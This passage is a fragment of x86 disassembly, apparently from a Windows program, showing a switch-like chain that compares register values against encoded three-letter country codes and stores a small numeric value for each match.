sub eax, 0x2fb
je 0x40338b
sub eax, 0x4fe
je 0x40337c
sub eax, 0xc
je 0x402edc
sub eax, 0xff
jne 0x402e24
mov dword [0x40c024], 0x13
jmp 0x402f45
mov dword [0x40c024], 0x48
jmp 0x402f45
mov dword [0x40c024], 0x4a
jmp 0x402f45
mov dword [0x40c024], 0x31
jmp 0x402f45
mov ecx, 0x514e47
cmp eax, ecx
ja 0x403414
je 0x403156
cmp eax, 0x4f4741
je 0x40360e
cmp eax, 0x4f5246
je 0x403224
cmp eax, 0x504c47
je 0x402f3b
cmp eax, 0x504d54
je 0x40360e
cmp eax, 0x505345
je 0x403156
cmp eax, 0x505453
je 0x40360e
cmp eax, 0x505943
jne 0x402e24
mov dword [0x40c024], 0x30
jmp 0x402f45
sub eax, 0x515249
je 0x402edc
sub eax, 0x204
je 0x402f3b
sub eax, 0xed00
je 0x402edc
sub eax, 0x401
je 0x402edc
dec eax
dec eax
je 0x403156
sub eax, 0x2f2
je 0x402edc
sub eax, 0x313
jne 0x402e24
mov dword [0x40c024], 0x11
jmp 0x402f45
mov ecx, 0x554153
cmp eax, ecx
ja 0x403544
je 0x402edc
mov ecx, 0x535552
cmp eax, ecx
ja 0x4034f1
je 0x40345e
sub eax, 0x524d43
je 0x402f3b
sub eax, 0x207
je 0x402edc
sub eax, 4
je 0x4034e2
sub eax, 0x3fb
je 0x402edc
sub eax, 0x20b
je 0x4034d3
sub eax, 0x3ff
je 0x402edc
sub eax, 0xebef
je 0x403594
jmp 0x402e24
mov dword [0x40c024], 0x18
jmp 0x402f45
mov dword [0x40c024], 0xc
jmp 0x402f45
sub eax, 0x544151
je 0x402edc
sub eax, 5
je 0x403535
sub eax, 0x10f7
je 0x402edc
sub eax, 3
je 0x40360e
sub eax, 0x2f1
je 0x4035b2
sub eax, 0x20a
je 0x402edc
sub eax, 0x202
jmp 0x402f35
mov dword [0x40c024], 0x3b
jmp 0x402f45
mov ecx, 0x58454d
cmp eax, ecx
ja 0x4035c1
je 0x403156
cmp eax, 0x554345
je 0x403156
cmp eax, 0x554544
je 0x4035b2
cmp eax, 0x564943
je 0x402f3b
cmp eax, 0x565043
je 0x40360e
cmp eax, 0x565248
je 0x4035a3
cmp eax, 0x574241
je 0x403594
cmp eax, 0x575543
jne 0x402e24
mov dword [0x40c024], 0x2a
jmp 0x402f45
mov dword [0x40c024], 6
jmp 0x402f45
mov dword [0x40c024], 0x2c
jmp 0x402f45
cmp eax, 0x58554c
je 0x402f3b
cmp eax, 0x59424c
je 0x402edc
cmp eax, 0x594745
je 0x402edc
cmp eax, 0x595255
je 0x403156
cmp eax, 0x5a414b
je 0x40345e
cmp eax, 0x5a474b
je 0x40345e
cmp eax, 0x5a4f4d
jne 0x402e24
mov dword [0x40c024], 0x44
jmp 0x402f45